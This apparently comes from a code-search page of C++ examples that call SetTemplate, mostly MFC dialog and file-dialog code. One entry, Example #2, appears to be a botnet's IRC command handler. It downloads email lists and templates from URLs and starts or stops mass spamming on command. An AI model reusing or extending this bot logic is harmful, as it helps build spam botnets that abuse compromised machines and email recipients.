Exemple #1
0
CSummInfo::CSummInfo()
{
	m_propSet.SetFormatVersion(0);
	DWORD dwOSVer;
	dwOSVer = (DWORD)MAKELONG(LOWORD(GetVersion()), 2);
	m_propSet.SetOSVersion(dwOSVer);
	m_propSet.SetClassID(FMTID_SummaryInformation);
	m_pSection = m_propSet.AddSection(FMTID_SummaryInformation);
	UINT cp = GetACP();
	m_pSection->Set(PID_CODEPAGE, (void*)&cp, VT_I2);
	SetTitle(_T(""));
	SetSubject(_T(""));
	SetAuthor(_T(""));
	SetKeywords(_T(""));
	SetComments(_T(""));
	SetTemplate(_T(""));
	SetLastAuthor(_T(""));
	m_pSection->Set(PIDSI_REVNUMBER, (void*)_T("0"), VT_LPSTR);
	FILETIME zeroTime = {0L, 0L};
	m_pSection->Set(PIDSI_EDITTIME, (void*)&zeroTime, VT_FILETIME);
	m_pSection->Set(PIDSI_LASTPRINTED, (void*)&zeroTime, VT_FILETIME);
	m_pSection->Set(PIDSI_LASTSAVE_DTM, (void*)&zeroTime, VT_FILETIME);
	m_pSection->Set(PIDSI_CREATE_DTM, (void*)&zeroTime, VT_FILETIME);
	SetNumPages(0);
	SetNumWords(0);
	SetNumChars(0);
	SetAppname(_T(""));
	SetSecurity(0);
}
Exemple #2
0
bool CSMTP_Logic::HandleCommand(CMessage *pMsg) {
	if(!pMsg->sCmd.Compare("spam.setlist")) {
		m_sListURL.Assign(pMsg->sChatString.Token(1, " ")); 
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				"Downloading new email list.", pMsg->sReplyTo.Str());
		SetList(m_sListURL);
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				"Finished downloading new email list.", pMsg->sReplyTo.Str());
		return true; }

	else if(!pMsg->sCmd.Compare("spam.settemplate")) {	
		m_sTemplateURL.Assign(pMsg->sChatString.Token(1, " "));
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				"Downloading new email template.", pMsg->sReplyTo.Str());
		SetTemplate(m_sTemplateURL);
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				"Finished downloading new email template.", pMsg->sReplyTo.Str());
		return true; }

	else if(!pMsg->sCmd.Compare("spam.start")) {	
		m_bSpamming=true;
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				"Started spamming.", pMsg->sReplyTo.Str());
		return true; }

	else if(!pMsg->sCmd.Compare("spam.stop")) {	
		m_bSpamming=false;
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				"Stopped spamming.", pMsg->sReplyTo.Str());
		return true; }

	return false;
}
//=============================================================================
CXFolderDialog::CXFolderDialog(LPCTSTR lpszInitialFolder /*= NULL*/,
							   DWORD dwFlags /*= 0*/,
							   CWnd* pParentWnd /*= NULL*/)
	: CFileDialog(TRUE, NULL, NULL, dwFlags | OFN_HIDEREADONLY, szFilter, pParentWnd)
//=============================================================================
{
	m_strInitialFolder     = lpszInitialFolder;
	//m_strFilter			   = _T("");
	m_strPath              = _T("");
	m_dwFlags              = dwFlags;
	m_eOsVersion           = XFILEDIALOG_AUTO_DETECT_OS_VERSION;
	m_strTitle             = _T("");
	m_nIdFileNameStatic    = 1090;
	m_nIdFileNameCombo     = 1148;	// or 1152
	m_nIdFilesOfTypeStatic = 1089;
	m_nIdFilesOfTypeCombo  = 1136;
	m_nIdPlaceBar          = 1184;
	m_nViewMode            = XLVM_XP_UNDEFINED;
	m_bUseRegistry         = FALSE;
	m_bPersist             = FALSE;
	m_bVistaFlag           = FALSE;
#if _MFC_VER > 0x700
	m_bVistaFlag = m_bVistaStyle;
	m_bVistaStyle = FALSE;
#endif
	// we use string version of SetTemplate(), to avoid resource id collisions
	SetTemplate(0, _T("IDD_XFOLDERDIALOG"));
}
CSaveTextFileDialog::CSaveTextFileDialog(
    CTextFile::enc e,
    LPCTSTR lpszDefExt, LPCTSTR lpszFileName,
    LPCTSTR lpszFilter, CWnd* pParentWnd) :
    CFileDialog(FALSE, lpszDefExt, lpszFileName,
                OFN_EXPLORER | OFN_ENABLESIZING | OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST | OFN_NOCHANGEDIR,
                lpszFilter, pParentWnd),
    m_e(e)
{
    if (SysVersion::IsVistaOrLater()) {
        // customization has to be done before OnInitDialog
        IFileDialogCustomize* pfdc = GetIFileDialogCustomize();

        pfdc->StartVisualGroup(IDS_TEXTFILE_ENC, ResStr(IDS_TEXTFILE_ENC));
        pfdc->AddComboBox(IDC_COMBO1);
        pfdc->AddControlItem(IDC_COMBO1, CTextFile::ASCII, _T("ANSI"));
        pfdc->AddControlItem(IDC_COMBO1, CTextFile::LE16, _T("Unicode 16-LE"));
        pfdc->AddControlItem(IDC_COMBO1, CTextFile::BE16, _T("Unicode 16-BE"));
        pfdc->AddControlItem(IDC_COMBO1, CTextFile::UTF8, _T("UTF-8"));
        pfdc->SetSelectedControlItem(IDC_COMBO1, m_e);
        pfdc->EndVisualGroup();
        pfdc->MakeProminent(IDS_TEXTFILE_ENC);

        pfdc->Release();
    } else {
        SetTemplate(0, IDD_SAVETEXTFILEDIALOGTEMPL);
    }
}
Exemple #5
0
CDialogTemplate::CDialogTemplate(const DLGTEMPLATE* pTemplate)
{
	if (pTemplate == NULL)
	{
		m_hTemplate = NULL;
		m_dwTemplateSize = 0;
		m_bSystemFont = FALSE;
	}
	else
	{
		SetTemplate(pTemplate, GetTemplateSize(pTemplate));
	}
}
LTBOOL CAIButeMgr::Init(ILTCSBase *pInterface, const char* szAttributeFile)
{
    if (g_pAIButeMgr || !szAttributeFile) return LTFALSE;
    if (!Parse(pInterface, szAttributeFile)) return LTFALSE;

	// Set up global pointer

	g_pAIButeMgr = this;

	// See how many attribute templates there are

	m_cTemplateID = 0;
	sprintf(s_aTagName, "%s%d", "AttributeTemplate", m_cTemplateID);

	while (m_buteMgr.Exist(s_aTagName))
	{
		m_cTemplateID++;
		sprintf(s_aTagName, "%s%d", "AttributeTemplate", m_cTemplateID);
	}

	m_aTemplates = debug_newa(AIBM_Template, m_cTemplateID);
	for ( int iTemplate = 0 ; iTemplate < m_cTemplateID ; iTemplate++ )
	{
		SetTemplate(iTemplate);
	}

	// See how many brains there are

	m_cBrainID = 0;
	sprintf(s_aTagName, "%s%d", "Brain", m_cBrainID);

	while (m_buteMgr.Exist(s_aTagName))
	{
		m_cBrainID++;
		sprintf(s_aTagName, "%s%d", "Brain", m_cBrainID);
	}

	m_aBrains = debug_newa(AIBM_Brain, m_cBrainID);
	for ( int iBrain = 0 ; iBrain < m_cBrainID ; iBrain++ )
	{
		SetBrain(iBrain);
	}

	SetSenses();
	SetAttract();
	SetDEdit();

	m_buteMgr.Term();

    return LTTRUE;
}
Exemple #7
0
BOOL CDialogTemplate::Load(LPCTSTR lpDialogTemplateID)
{
	HINSTANCE hInst = AfxFindResourceHandle(lpDialogTemplateID, RT_DIALOG);
	if (hInst == NULL)
		return FALSE;
	HRSRC hRsrc = FindResource(hInst, lpDialogTemplateID, RT_DIALOG);
	if (hRsrc == NULL)
		return FALSE;
	HGLOBAL hTemplate = LoadResource(hInst, hRsrc);
	DLGTEMPLATE* pTemplate = (DLGTEMPLATE*)LockResource(hTemplate);
	SetTemplate(pTemplate, (UINT)SizeofResource(hInst, hRsrc));
	UnlockResource(hTemplate);
	FreeResource(hTemplate);
	return TRUE;
}
Exemple #8
0
CDialogTemplate::CDialogTemplate(HGLOBAL hTemplate)
{
	if (hTemplate == NULL)
	{
		m_hTemplate = NULL;
		m_dwTemplateSize = 0;
		m_bSystemFont = FALSE;
	}
	else
	{
		DLGTEMPLATE* pTemplate = (DLGTEMPLATE*)GlobalLock(hTemplate);
		SetTemplate(pTemplate, GetTemplateSize(pTemplate));
		GlobalUnlock(hTemplate);
	}
}
Exemple #9
0
CDialogTemplate::CDialogTemplate(const DLGTEMPLATE* pTemplate)
{
	if (pTemplate == NULL)
	{
		m_hTemplate = NULL;
		m_dwTemplateSize = 0;
		m_bSystemFont = FALSE;
	}
	else
	{
		BOOL bSet=SetTemplate(pTemplate, GetTemplateSize(pTemplate));
		if(!bSet)
		{
			AfxThrowMemoryException();
		}
	}
}
Exemple #10
0
CSaveImageDialog::CSaveImageDialog(
    int quality, int levelPNG,
    LPCTSTR lpszDefExt, LPCTSTR lpszFileName,
    LPCTSTR lpszFilter, CWnd* pParentWnd) :
    CFileDialog(FALSE, lpszDefExt, lpszFileName,
                OFN_EXPLORER|OFN_ENABLESIZING|OFN_HIDEREADONLY|OFN_OVERWRITEPROMPT|OFN_PATHMUSTEXIST|OFN_NOCHANGEDIR,
                lpszFilter, pParentWnd)
    , m_quality(quality)
    , m_levelPNG(levelPNG)
{
    if (IsWinVistaOrLater()) {

        IFileDialogCustomize* pfdc = GetIFileDialogCustomize();
        if (pfdc) {

            // Create an event handling object, and hook it up to the dialog.
            IFileDialogEvents *pfde = NULL;
            HRESULT hr = _CDialogEventHandler_CreateInstance(IID_PPV_ARGS(&pfde));
            if (SUCCEEDED(hr)) {
                // Hook up the event handler.
                DWORD dwCookie;
                hr = GetIFileSaveDialog()->Advise(pfde, &dwCookie);
                if (SUCCEEDED(hr)) {
                    ;
                }
            }

            CString str;

            pfdc->StartVisualGroup(IDS_THUMB_IMAGE_QUALITY, ResStr(IDS_THUMB_IMAGE_QUALITY));
            pfdc->AddText(IDS_THUMB_QUALITY, ResStr(IDS_THUMB_QUALITY));
            str.Format(L"%d", max(70, min(100, m_quality)));
            pfdc->AddEditBox(IDC_EDIT4, str);

            pfdc->AddText(IDS_THUMB_LEVEL, ResStr(IDS_THUMB_LEVEL));
            str.Format(L"%d", max(1, min(9, m_levelPNG)));
            pfdc->AddEditBox(IDC_EDIT5, str);
            pfdc->EndVisualGroup();

            pfdc->Release();
        }
    } else {
        SetTemplate(0, IDD_SAVEIMAGEDIALOGTEMPL);
    }
}
// Constructor
DFUFileDialog::DFUFileDialog(BOOL bOpenFileDialog, LPCTSTR lpszFileName,
							 DWORD dwFlags, CWnd* pParentWnd)
: CFileDialog(bOpenFileDialog, ext_default, lpszFileName, dwFlags,
			  ext_filter, pParentWnd)
{
	//{{AFX_DATA_INIT(DFUFileDialog)
	//}}AFX_DATA_INIT

	// Specify a template containing the additional controls
	m_ofn.Flags |= OFN_EXPLORER | OFN_ENABLESIZING;
	SetTemplate(0, IDD_FILE_DIALOG);

	// Set the dialog caption
	caption.Format(bOpenFileDialog
	               ? IDS_FILE_CAPTION_OPEN
				   : IDS_FILE_CAPTION_SAVE);
	m_ofn.lpstrTitle = LPCTSTR(caption);
}
Exemple #12
0
CDialogTemplate::CDialogTemplate(HGLOBAL hTemplate)
{
	if (hTemplate == NULL)
	{
		m_hTemplate = NULL;
		m_dwTemplateSize = 0;
		m_bSystemFont = FALSE;
	}
	else
	{
		DLGTEMPLATE* pTemplate = (DLGTEMPLATE*)GlobalLock(hTemplate);
		BOOL bSet=SetTemplate(pTemplate, GetTemplateSize(pTemplate));
		GlobalUnlock(hTemplate);
		if(!bSet)
		{
			AfxThrowMemoryException();
		}
	}
}
Exemple #13
0
BOOL CDialogTemplate::Load(LPCTSTR lpDialogTemplateID)
{
	HINSTANCE hInst = _Module.GetResourceInstance();
	if (hInst == NULL)
	{
		return FALSE;
	}
	HRSRC hRsrc = FindResource(hInst, lpDialogTemplateID, RT_DIALOG);
	if (hRsrc == NULL)
	{
		return FALSE;
	}
	HGLOBAL hTemplate = LoadResource(hInst, hRsrc);
	DLGTEMPLATE* pTemplate = (DLGTEMPLATE*)LockResource(hTemplate);
	BOOL bSet=SetTemplate(pTemplate, (UINT)SizeofResource(hInst, hRsrc));
	UnlockResource(hTemplate);
	FreeResource(hTemplate);
	return bSet;
}